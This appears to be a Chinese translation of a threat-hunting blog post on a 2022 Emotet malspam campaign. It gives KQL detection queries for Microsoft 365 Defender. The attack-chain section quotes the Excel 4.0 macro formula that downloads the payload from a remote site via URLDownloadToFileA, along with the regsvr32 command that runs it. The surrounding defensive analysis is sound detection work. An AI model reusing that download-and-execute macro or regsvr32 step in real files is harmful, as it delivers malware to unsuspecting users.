使用Kusto查询语言狩猎Emotet恶意软件活动

本文深入分析了Emotet恶意软件的最新垃圾邮件活动链,并详细展示了如何利用Kusto查询语言(KQL)在Microsoft 365 Defender环境中构建检测和狩猎查询,以识别初始邮件投递、恶意附件及后续的进程执行行为。

引言

Emotet无需再作介绍——它是最活跃的网络犯罪团伙之一,已存在多年。2021年1月,欧洲刑警组织和其他执法机构采取了一次打击行动,旨在永久摧毁Emotet。[1] 确实,在打击行动后的几个月里,Emotet的恶意垃圾邮件(malspam)和网络钓鱼活动显著减少。 然而,在2021年11月,Emotet卷土重来[2],并再次在全球范围内针对多个行业的组织。 自2022年3月10日起,我们检测到一场大规模的恶意垃圾邮件活动,通过加密(受密码保护)的ZIP文件传播Emotet(以及后续负载)。截至撰写本文的3月23日,该活动仍在继续,不过频率似乎在降低。该活动似乎是由Emotet的Epoch4和(主要是)Epoch5僵尸网络节点发起的。 在这篇博文中,我们将首先了解这场特定的Emotet活动,并扩展使用Kusto查询语言(KQL)的检测和狩猎规则。

Emotet活动

该恶意垃圾邮件活动本身具有以下模式:

  1. 攻击者利用/入侵组织的邮件服务器来发送初始邮件。
  2. 邮件的显示名称是伪造的,声称是合法的。
  3. 邮件的主题是回复“RE:”或转发“FW:”,并包含收件人的电子邮件地址。
  4. 邮件正文只包含几个简单的句子和一个用于打开附件的密码。
  5. 附件是一个加密的ZIP文件(可能是为了规避检测),其中包含一个启用宏的Excel文档(.XLSM)。
  6. Excel文档随后会下载Emotet负载。
  7. 最后,Emotet可能会下载下一阶段的攻击负载(例如CobaltStrike、SystemBC或其他恶意软件)。

图1中可以观察到收到的两个电子邮件示例。注意主题中的目标电子邮件地址。 图1 – 两个恶意垃圾邮件示例

我们观察到以多种语言发送的电子邮件,包括但不限于:西班牙语、葡萄牙语、德语、法语、英语和荷兰语。 这些恶意垃圾邮件通常是从多个组织的受入侵邮件服务器发送的。图2显示了观察到的一些顶级发送域(基于国家代码)。 图2 – 顶级发送者(受入侵的)邮件域

附件命名方案遵循有些不规则的模式:在文本和看似随机的数字之间拆分,再次可能是为了规避检测。图3显示了一些附件名称前缀的示例。 图3 – 附件名称示例

使用提供的密码(通常是3-4个字符的密码)打开附件后,可以看到一个与ZIP文件同名的Excel文件。打开Excel文件时,会出现通常的横幅,提示启用宏以使用所有功能,如图4所示。 图4 – 低成本的Excel投放器

通过XLM4.0宏和隐藏工作表或单元格启用宏的过程如下:

1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://<compromised_website>/0Rq5zobAZB/", "..\wn.ocx")

然后会导致regsvr32下载并执行一个OCX文件(DLL):

1
C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx

这个OCX文件即是Emotet负载。如前所述,Emotet随后可以利用其模块(插件)进行数据窃取,或者下载下一阶段的恶意软件作为其攻击活动的一部分。 我们将不分析Emotet恶意软件本身,而是重点介绍如何在使用Office 365的环境中,利用Kusto查询语言(KQL)来狩猎攻击链的几个部分。

使用KQL进行狩猎

假设您摄取了正确的日志(许可和设置)并拥有必要的权限(安全读取者角色足够),请访问Microsoft 365 Defender高级狩猎页面和查询构建器:https://security.microsoft.com/v2/advanced-hunting

查询 I – 狩猎初始活动 首先,我们希望追踪初始Emotet活动的范围和规模。我们可以构建以下查询:

1
2
3
EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip"
| join kind=inner (EmailEvents | where Subject contains RecipientEmailAddress and DeliveryAction == "Delivered" and EmailDirection == "Inbound") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

上述查询重点关注此活动的第3步:邮件的主题是回复“RE:”或转发“FW:”,并包含收件人的电子邮件地址。在此查询中,我们筛选:

  • 任何带有ZIP附件的邮件;
  • 主题包含收件人电子邮件地址的邮件;
  • 邮件方向为入站且邮件已送达(未被归为垃圾邮件或阻止)。

这产生了22%已送达的邮件——其他邮件要么被阻止,要么被归为垃圾邮件。然而,我们知道这个活动规模更大,可能更成功。 这意味着我们需要改进查询。我们现在可以创建一个改进的查询,如下所示,其中发件人显示名称有别名(或被伪造):

1
2
3
EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound" and DeliveryAction == "Delivered") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

此查询现在的结果是,在同一时间段(活动范围和规模)内,有25%的邮件已送达。现在可以进一步微调查询以显示除被阻止邮件外的所有邮件。即使恶意垃圾邮件或网络钓鱼邮件被归为垃圾邮件,用户也可能手动转到垃圾邮件文件夹,打开邮件/附件并由此受到攻击。 最终查询:

1
2
3
EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound" and DeliveryAction != "Blocked") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress

此查询现在显示了整个Emotet恶意垃圾邮件活动的73%。您现在可以导出结果、创建统计数据和阻止规则、通知用户并在需要时改进设置或策略。额外的用户意识宣传活动有助于强调应避免打开垃圾邮件中的邮件。 额外提示,如果您只想统计已送达、已归为垃圾邮件和已阻止的邮件数量,以下查询即可实现:

1
2
3
4
EmailAttachmentInfo
| where FileType == "zip" and FileName endswith_cs "zip" and SenderDisplayName startswith_cs "<"
| join kind=inner (EmailEvents | where EmailDirection == "Inbound") on NetworkMessageId, SenderFromAddress, RecipientEmailAddress
| summarize Count = count() by DeliveryAction

查询 II – 基于恶意垃圾邮件附件名称进行筛选 此查询的准确性低于本文中的其他查询,因为它可能会产生大量误报(FPs),具体取决于您组织的地理位置和收到的邮件数量。尽管如此,运行此查询并在此基础上进一步构建——创建基线——可能是有用的。下面的查询显示了表1中的主题摘录及相应的狩猎查询:

1
2
3
4
5
let attachmentname = dynamic(["adjunto","adjuntos","anhang","archiv","archivo","attachment","avis","aviso","bericht","comentarios","commentaires","comments","correo","data","datei","datos","detail","details","detalle","doc","document","documentación","documentation","documentos","documents","dokument","détails","escanear","fichier","file","filename","hinweis","info","informe","list","lista","liste","mail","mensaje","message","nachricht","notice","pack","paquete","pièce","rapport","report","scan","sin titulo","untitled"]);
EmailAttachmentInfo
| where FileName has_any(attachmentname) and strlen(FileName) < 20 and FileType == "zip"
| join EmailEvents on NetworkMessageId
| where DeliveryAction == "Delivered" and EmailDirection == "Inbound"

运行此规则会产生大量结果,即使应用了我们在此活动中观察到的字符串长度(strlen)小于20个字符的条件。为了微调查询,我们可以再添加一行来筛选显示名称,就像我们在查询I中创建的那样:

1
2
3
4
5
let attachmentname = dynamic(["adjunto","adjuntos","anhang","archiv","archivo","attachment","avis","aviso","bericht","comentarios","commentaires","comments","correo","data","datei","datos","detail","details","detalle","doc","document","documentación","documentation","documentos","documents","dokument","détails","escanear","fichier","file","filename","hinweis","info","informe","list","lista","liste","mail","mensaje","message","nachricht","notice","pack","paquete","pièce","rapport","report","scan","sin titulo","untitled"]);
EmailAttachmentInfo
| where FileName has_any(attachmentname) and strlen(FileName) < 20 and FileType == "zip" and SenderDisplayName startswith_cs "<"
| join EmailEvents on NetworkMessageId
| where DeliveryAction == "Delivered" and EmailDirection == "Inbound"

现在的结果是20%的真阳性(TP),而原始查询则需要大量筛选。请注意,此查询可以根据您的需求进一步调整,例如,您可以再次移除SenderDisplayName参数,并设置其他参数(例如字符串长度、邮件语言等)。

查询 III – 搜索regsvr32执行恶意操作 大多数检测与狩猎团队、安全运营中心(SOC)分析师、事件响应人员等都熟悉“lolbins”这个术语,也称为离地生存二进制文件。简而言之,任何作为本机操作系统(此处是Windows)一部分的二进制文件,都可以被滥用于其预期目的之外的其他用途。 在本例中,利用了regsvr32——攻击者通常用它来——你猜对了——注册和执行DLL!下面的查询将利用一个简单的正则表达式(regex)来狩猎regsvr32试图运行OCX文件的行为,正如在此Emotet活动中所见。

1
2
DeviceProcessEvents
| where FileName =~ "regsvr32.exe" and ProcessCommandLine matches regex @"\.\.\\.+\.ocx$"

结论

Emotet自去年年底回归以来,仍然是一个需要认真对待的重大威胁。 这篇博文重点剖析了Emotet最新的恶意垃圾邮件活动链,并展示了如何使用KQL创建狩猎查询,以狩猎和响应任何潜在的安全事件。这些查询也可以转换为其他格式(例如,使用https://uncoder.io/转换为Splunk查询语言),以便在更广泛的狩猎工作中使用,或者在无法使用KQL的情况下使用。 感谢我的同事Maxime Thiebaut(@0xthiebaut)在构建查询时提供的帮助。

关于作者

Bart Parys是NVISO的经理,主要专注于威胁情报、事件响应和恶意软件分析。作为威胁情报的经验丰富的消费者、管理者和创造者,Bart热衷于并撰写了许多关于战略和操作等多个层面的威胁情报报告,涵盖广泛的行业和地理区域。Twitter:@bartblaze

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计